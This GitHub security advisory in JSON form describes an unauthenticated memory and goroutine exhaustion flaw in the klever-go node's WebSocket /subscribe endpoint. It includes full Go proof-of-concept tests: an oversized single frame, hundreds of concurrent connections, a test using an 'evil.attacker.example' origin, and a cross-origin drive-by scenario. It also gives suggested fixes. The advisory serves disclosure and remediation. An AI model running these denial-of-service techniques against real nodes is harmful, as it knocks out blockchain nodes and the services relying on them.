{"id":"GHSA-4fwh-wrm6-97xm","summary":"Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -\u003e remote node memory/goroutine exhaustion (DoS)","details":"## Summary\nThe unauthenticated WebSocket endpoint `GET /subscribe` is registered `open: true` by default\n(`config/node/api.yaml`) and lets a remote, unauthenticated client exhaust the node's memory and\ngoroutines. Because the REST API runs IN-PROCESS with the node — `network/api/api.go` `Start(...)`\nends with `ws.Run(kleverFacade.RestAPIInterface())` — exhausting/killing the API process takes down\nthe entire node, including its P2P and consensus participation. No API key, account, stake, or funds\nare required.\n\nThree compounding, independently-exploitable gaps stack on this one endpoint:\n\n1. Permissive origin — `upgrader.CheckOrigin` always returns `true`\n   (`network/api/websocket/routes.go`), so any web origin can complete the handshake.\n2. No read-size limit — the connection never calls `conn.SetReadLimit(...)`. gorilla's default is\n   UNLIMITED, so a single `conn.ReadJSON` (`processSubscription`) or `conn.ReadMessage`\n   (`client.loopIn`) can be forced to allocate an arbitrarily large buffer from ONE frame.\n3. No connection / fan-out cap — the gin global throttler (`simultaneousRequests: 100`) releases its\n   slot as soon as `handleSubscribe` returns, which it does immediately after\n   `go processSubscription(conn, hub)`. Live WebSocket connections are therefore NOT counted by it.\n   There is no per-IP / per-connection / hub-level cap. Each accepted connection spawns 2 goroutines\n   plus a 500-entry buffered channel, and `req.Addresses` has no length cap, so the hub's\n   `addressSubscription` map grows 1:1 with attacker-supplied strings.\n\n## Affected Component / Code Path\nUnauthenticated, reachable by default, no recovery on the resource-allocation path:\n\n```\ngin engine (network/api/api.go: Start -\u003e ws.Run, IN-PROCESS with node)\n -\u003e GET /subscribe                              network/api/websocket/routes.go:34  (SubscribeTopics)\n   -\u003e handleSubscribe                            network/api/websocket/routes.go:39\n     -\u003e upgrader.Upgrade  (CheckOrigin == true)  network/api/websocket/routes.go:22  \u003c-- GAP #1\n     -\u003e go processSubscription(conn, hub)         network/api/websocket/routes.go:46  (throttler slot freed here)\n        -\u003e conn.ReadJSON(&req)  (no SetReadLimit) network/api/websocket/routes.go:57  \u003c-- GAP #2\n        -\u003e hub.HandleClientInsertion(...)         websocket/websocket.go:121          \u003c-- GAP #3 (addresses uncapped)\n           -\u003e websocket.NewClient -\u003e loopIn/loopOut (2 goroutines + 500-buf chan per conn)  websocket/client.go:24\n              -\u003e conn.ReadMessage()  (no SetReadLimit, no deadline)  websocket/client.go:77  \u003c-- GAP #2\n```\n\nRoot-cause excerpts (commit `23b74e1`):\n\n`network/api/websocket/routes.go`\n```go\nvar upgrader = gorilla.Upgrader{\n\tCheckOrigin: func(r *http.Request) bool {\n\t\treturn true                      // GAP #1: any origin accepted\n\t},\n}\n\nfunc handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {\n\tconn, err := upgrader.Upgrade(c.Writer, c.Request, nil)\n\tif err != nil {\n\t\tlog.Error(subscribeOp, \"err\", err.Error())\n\t\treturn\n\t}\n\tgo processSubscription(conn, hub) // returns now -\u003e gin global throttler slot released (GAP #3)\n}\n\nfunc processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {\n\t// no conn.SetReadLimit(...) anywhere (GAP #2)\n\t_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))\n\tvar req subscribeRequest\n\tif err := conn.ReadJSON(&req); err != nil { ... }      // unbounded read\n\t_ = conn.SetReadDeadline(time.Time{})                  // deadline cleared\n\t...\n\tclient := websocket.NewClient(conn, hub)\n\thub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)\n}\n```\n\n`websocket/websocket.go` — `HandleClientInsertion` inserts every address with no length cap:\n```go\nfor _, address := range addresses {\n\tif _, ok := h.addressSubscription[address]; !ok {\n\t\th.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input\n\t}\n\t...\n}\n```\n\n`websocket/client.go` — `loopIn` reads with no size limit and no deadline:\n```go\nfor {\n\tmessageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit\n\t...\n}\n```\n\n## Preconditions\n- The node's REST API must be reachable by the attacker. Two realistic deployment shapes:\n  - (a) Operator-exposed API — `--rest-api-interface :8080` / `0.0.0.0:8080`. This is the standard\n    configuration for public RPC and observer infrastructure (the kind Klever itself operates at\n    `node.klever.org` / `api.klever.org`). Here the attacker reaches `/subscribe` directly over the\n    network with no further conditions.\n  - (b) Cross-origin browser drive-by — default bind is `localhost:8080`\n    (`common/facade/nodeFacade.go` `DefaultRestInterface = \"localhost:8080\"`). Because\n    `CheckOrigin` returns `true` (GAP #1), any website an operator visits can open\n    `ws://localhost:8080/subscribe` from the victim's browser and drive GAP #2 (single oversized\n    frame) and GAP #3 (many connections) without the API being network-exposed at all.\n- `/subscribe` is `open: true` in the default `config/node/api.yaml`; `isSubscriptionRouteEnabled`\n  returns true and the route + hub are wired unconditionally in `RegisterRoutes`.\n- `/subscribe` is NOT listed in `endpointsThrottlers` (`config/node/config.yaml`), so it has no\n  per-endpoint goroutine cap.\n- No authentication, no on-chain account, no stake, no attacker-created asset is required.\n\n## Impact (distributed by gap and by blast radius)\n\nThis single finding produces several distinct impacts because the three gaps amplify different\nnode resources and reach the node through two different exposure models. They are broken out so the\nremediation owner can scope each one.\n\n### Impact A — Single-frame heap exhaustion (GAP #2, the cleanest primitive)\n- One unauthenticated connection sends ONE WebSocket frame; with no `SetReadLimit`, gorilla buffers\n  the entire frame in memory before the JSON is even parsed. Frame size scales the allocation\n  linearly, so one connection can drive a multi-GB allocation.\n- Observed amplification: an 8 MiB frame grows the server heap by ~32 MiB (~4x) while buffering ONE\n  attacker frame (decode/UTF-8/scratch overhead on top of the raw bytes).\n- No flood and no rate-limit interaction is needed: the source throttler is a per-IP RATE cap on\n  HTTP handshakes, not a size or memory cap, so a single slow connection streaming one oversized\n  message is not meaningfully throttled.\n- Result: OOM-kill of the node process from a single connection.\n\n### Impact B — Connection / goroutine exhaustion (GAP #3, fan-out)\n- Live WS connections are not counted by the gin global throttler (its slot is freed at the\n  HTTP→WS upgrade), and there is no per-IP or hub-level connection cap.\n- Each accepted connection costs 2 goroutines + a 500-entry buffered channel. Connection count grows\n  linearly with attacker effort from a single source, with no ceiling.\n- Result: goroutine/descriptor/scheduler exhaustion → node slowdown then OOM/crash.\n\n### Impact C — Unbounded subscription-map growth (GAP #3, per-connection memory)\n- `req.Addresses` is uncapped, and `HandleClientInsertion` inserts every entry into the hub's\n  `addressSubscription` map. ONE connection submitting N attacker-controlled address strings grows\n  the map to exactly N entries (1:1), independent of how many real on-chain addresses exist.\n- Result: heap growth driven purely by attacker-chosen strings on a single connection; combinable\n  with Impact B (many connections × many addresses) for multiplicative memory pressure.\n\n### Impact D — Cross-origin reach to localhost-bound nodes (GAP #1, exposure amplifier)\n- Because `CheckOrigin` is always `true`, Impacts A–C are reachable from a victim's browser even\n  when the API is bound to `localhost` and never exposed to the network. A node operator who simply\n  visits a malicious page can have their own node driven into Impact A/B/C from inside their browser.\n- Result: the `localhost`-bind \"mitigation\" does not hold against a web-drive-by attacker.\n\n### Blast-radius note (applies to all of the above)\n- The REST/WS API runs in the SAME process as the node (`ws.Run(...)` in `network/api/api.go`).\n  OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the\n  RPC surface. For a public RPC/observer node this is an availability break for every downstream\n  wallet/explorer/service; repeated across many nodes it degrades overall network availability.\n\n## Exploit Cost / Attack Complexity\n- Cost: negligible. No funds, no stake, no account, no API key. One TCP/WS connection (Impact A) or a\n  modest number of connections (Impact B/C). Impact D needs only that the operator visits a web page.\n- Complexity: LOW. Unauthenticated, remote, deterministic. The vulnerability is the ABSENCE of caps,\n  so it does not depend on a race or on a specific node version beyond the affected range.\n\n## PoC-Result\n\nTwo complementary PoCs were executed against the REAL production code at commit `23b74e1`.\nAll runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.\n\n### Result 1 — Unit PoC: unbounded `addressSubscription` growth (Impact C)\nDrives the real `SocketHub.HandleClientInsertion` (production code, no stub) with one client\nsubmitting 200,000 attacker-controlled address strings.\n\n```\n$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v\n=== RUN   TestPoC_UnboundedAddressSubscriptionGrowth\n    zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000\n    zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count\n--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)\nPASS\nok  \tgithub.com/klever-io/klever-go/websocket\t0.092s\n```\nInterpretation: one connection → 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with\nno cap. Scaling the address count scales the allocation.\n\n### Result 2 — End-to-end PoC: all three gaps over a real loopback gin + gorilla WS server (Impacts A, B, D)\nRuns the REAL `network/api/websocket.SubscribeTopics` + `websocket.NewHub` + `hub.StartServer`\nbehind a gin server on `127.0.0.1`, driven by a real gorilla WebSocket client, with a \"hardened\"\nA/B control (strict `CheckOrigin` + `SetReadLimit(1 MiB)`) to prove each missing control is the cause.\n\n```\n$ go test ./network/api/websocket/ -run TestE2E_Gap -v\n=== RUN   TestE2E_Gap1_EvilOriginAccepted\n    zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)\n    zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected\n--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)\n=== RUN   TestE2E_Gap2_NoReadSizeLimit\n    zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)\n    zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.\n--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)\n=== RUN   TestE2E_Gap3_NoConnectionCap\n    zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -\u003e 604 (~2 per conn).\n--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)\nPASS\nok  \tgithub.com/klever-io/klever-go/network/api/websocket\t1.866s\n```\n\nInterpretation:\n- GAP #1 (Impact D): the real handler completes the handshake (HTTP 101) for\n  `Origin: https://evil.attacker.example`; the hardened control returns HTTP 403. → cross-origin\n  drive-by reach, including to localhost-bound nodes.\n- GAP #2 (Impact A): one unauthenticated connection sends a single 8 MiB frame; the real server\n  buffers it whole (~32 MiB heap, ~4x amplification, NO close 1009). The 1 MiB-capped control rejects\n  it with close 1009. → one connection scales to a multi-GB allocation.\n- GAP #3 (Impact B): 300 \u003e the configured global cap of 100 simultaneous requests were ALL accepted\n  as live connections; goroutines grew 4 → 604 (~2 per connection). → the global throttler does not\n  bound live WS connections; growth is linear and uncapped.\n\n### Production-safety note on the PoC\nFrame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not\nOOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which\nthe hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection\nflood) is intentionally NOT executed against any production node.\n\n## PoC-Source\n\nTwo self-contained Go tests reproduce the finding against the unmodified production code. Both use\nonly the repo's own `go.mod` dependencies (gin + gorilla, already required) and the real\n`network/api/websocket` + `websocket` packages. No external services.\n\n### Scenario\n- PoC 1 (unit, Impact C) targets the hub primitive directly: build one in-process `client`, call the\n  REAL `SocketHub.HandleClientInsertion` with 200,000 attacker-controlled address strings, and assert\n  the hub's `addressSubscription` map grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero\n  network setup.\n- PoC 2 (end-to-end, Impacts A/B/D) stands up the REAL handler: `gin.New()` + the production\n  `wsapi.SubscribeTopics(engine, hub)` + `websocket.NewHub(...)` + `hub.StartServer(ctx)` on a\n  `127.0.0.1:0` listener, then drives it with a real gorilla WS client. A \"hardened\" mirror server\n  (strict `CheckOrigin` + `SetReadLimit(1 MiB)`) is the A/B control that proves each missing control\n  is the root cause:\n  - Gap1 test: dial with `Origin: https://evil.attacker.example`; real accepts (HTTP 101), control rejects (403).\n  - Gap2 test: send one 8 MiB valid subscribe frame; real buffers it (no close 1009, heap grows ~32 MiB),\n    control closes with 1009 (message too big).\n  - Gap3 test: open 300 concurrent connections from one client; real accepts all (goroutines grow ~2/conn),\n    proving the gin global cap of 100 is not enforced on live WS.\n\n### How to run\n1. `git clone https://github.com/klever-io/klever-go && cd klever-go`\n   (Go toolchain matching `go.mod`; verified locally on go1.26.3 at commit `23b74e1`.)\n2. Save PoC 1 as `websocket/poc_ws_unbounded_subscription_test.go` and run:\n   `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`\n3. Save PoC 2 as `network/api/websocket/e2e_ws_dos_test.go` and run:\n   `go test ./network/api/websocket/ -run TestE2E_Gap -v`\n   (The three `TestE2E_Gap*` subtests can run together; each starts its own loopback server.)\n- Production-safety: frame size (8 MiB) and connection count (300) are intentionally small so the\n  runner is not OOM-killed; they demonstrate the missing caps, not a live OOM. Do NOT point these at\n  a production node.\n\n### Full PoC source 1 — `websocket/poc_ws_unbounded_subscription_test.go`\n```go\n// Target component:    klever-go REST/WebSocket API — unauthenticated /subscribe (network/api/websocket, websocket/)\n// Vulnerability type:  Uncontrolled resource consumption (CWE-770) — unauthenticated remote\n//                      memory/goroutine exhaustion of the node process via the WS API.\n// Scope note:          The REST API runs IN-PROCESS with the node, so OOM kills the whole node\n//                      (P2P + consensus), not a separate sidecar.\n//\n// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):\n//   1) gorilla Upgrader has CheckOrigin -\u003e always true (any origin).\n//   2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -\u003e one message\n//      can force a multi-GB allocation in conn.ReadJSON / ReadMessage.\n//   3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is\n//      released right after the HTTP-\u003eWS upgrade in handleSubscribe (it returns immediately\n//      after `go processSubscription`), so live WS connections are NOT counted by the\n//      100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered\n//      channel, and there is no per-connection cap on req.Addresses, so the hub's\n//      addressSubscription map grows 1:1 with attacker-supplied strings.\n//\n// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are\n// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).\n//\n// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`\npackage websocket\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/indexer\"\n)\n\nfunc TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {\n\thub := NewHub(\"\", \"\", nil)\n\tc := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}\n\n\tconst n = 200000\n\taddresses := make([]string, n)\n\tfor i := 0; i \u003c n; i++ {\n\t\taddresses[i] = fmt.Sprintf(\"klv-attacker-addr-%d\", i)\n\t}\n\thub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)\n\n\thub.mu.RLock()\n\tgot := len(hub.addressSubscription)\n\thub.mu.RUnlock()\n\n\tt.Logf(\"addressSubscription entries after ONE client submitted %d addresses: %d\", n, got)\n\tif got != n {\n\t\tt.Fatalf(\"expected unbounded growth to %d, got %d\", n, got)\n\t}\n\tt.Logf(\"VULNERABLE: no cap on per-connection address count\")\n}\n```\n\n### Full PoC source 2 — `network/api/websocket/e2e_ws_dos_test.go`\n```go\npackage websocket_test\n\nimport (\n\t\"context\"\n\t\"net\"\n\t\"net/http\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n\tgorilla \"github.com/gorilla/websocket\"\n\n\twsapi \"github.com/klever-io/klever-go/network/api/websocket\"\n\thubpkg \"github.com/klever-io/klever-go/websocket\"\n)\n\n// ---- vulnerable server: the REAL production handler ----\nfunc startRealSubscribeServer(t *testing.T) (string, func()) {\n\tt.Helper()\n\tgin.SetMode(gin.ReleaseMode)\n\tengine := gin.New()\n\thub := hubpkg.NewHub(\"\", \"\", nil) // facade nil: /subscribe path doesn't use it\n\tctx, cancel := context.WithCancel(context.Background())\n\tgo hub.StartServer(ctx)\n\twsapi.SubscribeTopics(engine, hub) // \u003c-- REAL production registration\n\n\tln, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsrv := &http.Server{Handler: engine}\n\tgo func() { _ = srv.Serve(ln) }()\n\tstop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }\n\treturn ln.Addr().String(), stop\n}\n\n// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----\nfunc startHardenedSubscribeServer(t *testing.T) (string, func()) {\n\tt.Helper()\n\tgin.SetMode(gin.ReleaseMode)\n\tengine := gin.New()\n\tup := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {\n\t\treturn r.Header.Get(\"Origin\") == \"\" // strict: only same/no-origin allowed\n\t}}\n\tengine.GET(\"/subscribe\", func(c *gin.Context) {\n\t\tconn, err := up.Upgrade(c.Writer, c.Request, nil)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tconn.SetReadLimit(1 \u003c\u003c 20) // 1 MiB cap (the fix)\n\t\tgo func() {\n\t\t\tdefer conn.Close()\n\t\t\tfor {\n\t\t\t\tif _, _, err := conn.ReadMessage(); err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t})\n\tln, _ := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\tsrv := &http.Server{Handler: engine}\n\tgo func() { _ = srv.Serve(ln) }()\n\treturn ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }\n}\n\nfunc bigValidSubscribeJSON(addrBytes int) []byte {\n\t// valid subscribe frame: one giant attacker-controlled address string\n\treturn []byte(`{\"subscribed_types\":[\"accounts\"],\"addresses\":[\"` + strings.Repeat(\"A\", addrBytes) + `\"]}`)\n}\n\n// GAP #1 — permissive origin: real handler accepts an evil Origin; hardened rejects it.\nfunc TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {\n\trealAddr, stopReal := startRealSubscribeServer(t)\n\tdefer stopReal()\n\thardAddr, stopHard := startHardenedSubscribeServer(t)\n\tdefer stopHard()\n\n\thdr := http.Header{\"Origin\": []string{\"https://evil.attacker.example\"}}\n\n\tcReal, respReal, errReal := gorilla.DefaultDialer.Dial(\"ws://\"+realAddr+\"/subscribe\", hdr)\n\tif errReal != nil {\n\t\tt.Fatalf(\"REAL handler REJECTED evil origin (status %v) — not vulnerable\", respReal)\n\t}\n\t_ = cReal.Close()\n\tt.Logf(\"GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP %d)\", respReal.StatusCode)\n\n\tcHard, respHard, errHard := gorilla.DefaultDialer.Dial(\"ws://\"+hardAddr+\"/subscribe\", hdr)\n\tif errHard == nil {\n\t\t_ = cHard.Close()\n\t\tt.Fatalf(\"hardened control unexpectedly accepted evil origin\")\n\t}\n\tt.Logf(\"control: hardened handler rejected evil origin (HTTP %d) as expected\", respHard.StatusCode)\n}\n\n// GAP #2 — no read-size limit: real handler reads a frame far over any sane WS limit;\n// the hardened control (SetReadLimit 1 MiB) closes the connection with 1009 on the same frame.\nfunc TestE2E_Gap2_NoReadSizeLimit(t *testing.T) {\n\trealAddr, stopReal := startRealSubscribeServer(t)\n\tdefer stopReal()\n\thardAddr, stopHard := startHardenedSubscribeServer(t)\n\tdefer stopHard()\n\n\tconst big = 8 \u003c\u003c 20 // 8 MiB single frame (\u003e\u003e typical 1 MiB cap; tiny enough not to OOM the runner)\n\tframe := bigValidSubscribeJSON(big)\n\n\t// --- hardened control: must reject (close 1009 \"message too big\") ---\n\tcHard, _, err := gorilla.DefaultDialer.Dial(\"ws://\"+hardAddr+\"/subscribe\", nil)\n\tif err != nil {\n\t\tt.Fatalf(\"dial hardened: %v\", err)\n\t}\n\t_ = cHard.WriteMessage(gorilla.TextMessage, frame)\n\tcHard.SetReadDeadline(time.Now().Add(3 * time.Second))\n\t_, _, errHard := cHard.ReadMessage()\n\t_ = cHard.Close()\n\tif ce, ok := errHard.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {\n\t\tt.Logf(\"control: hardened handler rejected %d-byte frame with close 1009 (read limit works)\", big)\n\t} else {\n\t\tt.Logf(\"control note: hardened returned %v (expected close 1009)\", errHard)\n\t}\n\n\t// --- REAL handler: reads the whole 8 MiB frame; connection NOT closed for size ---\n\tvar m0, m1 runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(&m0)\n\n\tcReal, _, err := gorilla.DefaultDialer.Dial(\"ws://\"+realAddr+\"/subscribe\", nil)\n\tif err != nil {\n\t\tt.Fatalf(\"dial real: %v\", err)\n\t}\n\tif err := cReal.WriteMessage(gorilla.TextMessage, frame); err != nil {\n\t\tt.Fatalf(\"write big frame to real: %v\", err)\n\t}\n\t// Give the server time to ReadJSON the full frame + insert the giant address.\n\ttime.Sleep(400 * time.Millisecond)\n\truntime.ReadMemStats(&m1)\n\n\t// The real handler must NOT have closed us with 1009. Probe with a short read.\n\tcReal.SetReadDeadline(time.Now().Add(1 * time.Second))\n\t_, _, rerr := cReal.ReadMessage()\n\t_ = cReal.Close()\n\tif ce, ok := rerr.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {\n\t\tt.Fatalf(\"REAL handler enforced a read limit (close 1009) — NOT vulnerable\")\n\t}\n\n\tt.Logf(\"GAP#2 CONFIRMED: real /subscribe accepted an %d-byte (8 MiB) frame with NO size limit \"+\n\t\t\"(no close 1009; read err=%v). Server heap grew ~%d MiB while buffering one attacker frame.\",\n\t\tbig, rerr, int64(m1.HeapAlloc-m0.HeapAlloc)/(1\u003c\u003c20))\n\n}\n\n// GAP #3 (connection level) — no per-connection / per-IP / global cap on live WS connections.\n// Open many concurrent real connections from one client; the real server accepts them all and\n// spawns 2 goroutines + a 500-buffered channel each (uncounted by the gin global throttler,\n// whose slot is released right after the HTTP-\u003eWS upgrade). Measured via goroutine growth.\nfunc TestE2E_Gap3_NoConnectionCap(t *testing.T) {\n\trealAddr, stopReal := startRealSubscribeServer(t)\n\tdefer stopReal()\n\n\tconst n = 300 // modest; enough to show no cap without stressing the runner\n\tg0 := runtime.NumGoroutine()\n\tconns := make([]*gorilla.Conn, 0, n)\n\taccepted := 0\n\tfor i := 0; i \u003c n; i++ {\n\t\tc, _, err := gorilla.DefaultDialer.Dial(\"ws://\"+realAddr+\"/subscribe\", nil)\n\t\tif err != nil {\n\t\t\tt.Logf(\"connection %d rejected: %v\", i, err)\n\t\t\tbreak\n\t\t}\n\t\t// send a valid subscribe so the server promotes it to a live hub client\n\t\t_ = c.WriteMessage(gorilla.TextMessage, []byte(`{\"subscribed_types\":[\"blocks\"],\"addresses\":[]}`))\n\t\tconns = append(conns, c)\n\t\taccepted++\n\t}\n\ttime.Sleep(300 * time.Millisecond)\n\tg1 := runtime.NumGoroutine()\n\tfor _, c := range conns {\n\t\t_ = c.Close()\n\t}\n\n\tif accepted \u003c n {\n\t\tt.Fatalf(\"server applied a connection cap at %d (\u003c%d) — would weaken the finding\", accepted, n)\n\t}\n\tt.Logf(\"GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL %d concurrent connections from one client \"+\n\t\t\"with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew %d -\u003e %d (~%d per conn).\",\n\t\taccepted, g0, g1, (g1-g0)/n)\n}\n```\n\n## Suggested Fix\nAddress each gap; they are independent and all should be fixed regardless of API binding.\n\n- GAP #2 (read-size) — set an explicit read limit on every accepted WS connection, before any read,\n  in both read paths (`processSubscription` and `client.loopIn`):\n  ```go\n  const maxWSMessageSize = 1 \u003c\u003c 20 // 1 MiB; tune to the largest legitimate subscribe payload\n  conn.SetReadLimit(maxWSMessageSize)\n  ```\n  gorilla then closes oversized frames with close 1009 instead of buffering unbounded memory.\n\n- GAP #3 (connection / fan-out cap):\n  - Cap concurrent WS connections globally and per source IP with a dedicated limiter that is held\n    for the WS lifetime (the gin global throttler cannot do this — its slot is released at the\n    HTTP→WS upgrade). Reject (HTTP 503 / close) beyond the cap.\n  - Bound `len(req.Addresses)` and the total per-connection subscription count to a sane maximum;\n    reject or truncate beyond it in `HandleClientInsertion` / `processSubscription`.\n\n- GAP #1 (origin) — replace `CheckOrigin: func(...) bool { return true }` with an allowlist driven by\n  config (same-origin and explicitly trusted origins only). This removes the cross-origin drive-by\n  reach to localhost-bound nodes (Impact D).\n\n- Defense-in-depth — keep a read deadline active for the lifetime of the connection (the current code\n  clears it via `SetReadDeadline(time.Time{})` after the first read), so an idle/slow connection\n  cannot pin resources indefinitely.\n\n## Duplicate Check (vs published advisories)\nChecked against https://github.com/klever-io/klever-go/security/advisories (3 published):\n- GHSA-jc6w-wmfc-fh33 / CVE-2026-46403 (Medium) — KVM read-only exec commits delete/upgrade side effects.\n- GHSA-87m7-qffr-542v / CVE-2026-44697 (High) — `MultiDataInterceptor` OOM via crafted compressed P2P payload.\n- GHSA-74m6-4hjp-7226 (High) — `MultiDataInterceptor` throttler-slot leak on malformed compressed batches.\n\nThis finding is NOT a duplicate:\n- Different component — REST/WebSocket API (`network/api/websocket`, `websocket/`), not the P2P\n  interceptor pipeline or the KVM.\n- Different mechanism — missing WS read-size limit + uncounted live connections + permissive origin\n  (CWE-770/1385), not gzip decompression blow-up, not throttler-slot accounting, not VM read-only isolation.\n- The advisory texts contain no mention of `/subscribe`, `SetReadLimit`, `CheckOrigin`,\n  `addressSubscription`, `SocketHub`, or `processSubscription`.\n- The three advisories' fixes ARE present in the reviewed tree (`MaxDecompressedBatchSize`,\n  `ownershipTransferred` throttler guard, `runtime.ReadOnly()` delete/upgrade checks), confirming the\n  tree is at/after `v1.7.17`, yet the `/subscribe` gaps remain unpatched at HEAD `23b74e1`.\n- It is adjacent in impact CLASS to 87m7/74m6 (remote DoS), referenced here for context only.","aliases":["CVE-2026-86065"],"modified":"2026-09-23T19:30:04.472461790Z","published":"2026-09-23T19:16:40Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-23T19:16:40Z"},"references":[{"type":"WEB","url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-4fwh-wrm6-97xm"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/pull/76"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/commit/b8af922e749ec1fa7451b2c6e7c9f634d8603be2"},{"type":"PACKAGE","url":"https://github.com/klever-io/klever-go"},{"type":"WEB","url":"https://github.com/klever-io/klever-go/releases/tag/v1.7.20"}],"affected":[{"package":{"name":"github.com/klever-io/klever-go","ecosystem":"Go","purl":"pkg:golang/github.com/klever-io/klever-go"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.20"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-4fwh-wrm6-97xm/GHSA-4fwh-wrm6-97xm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}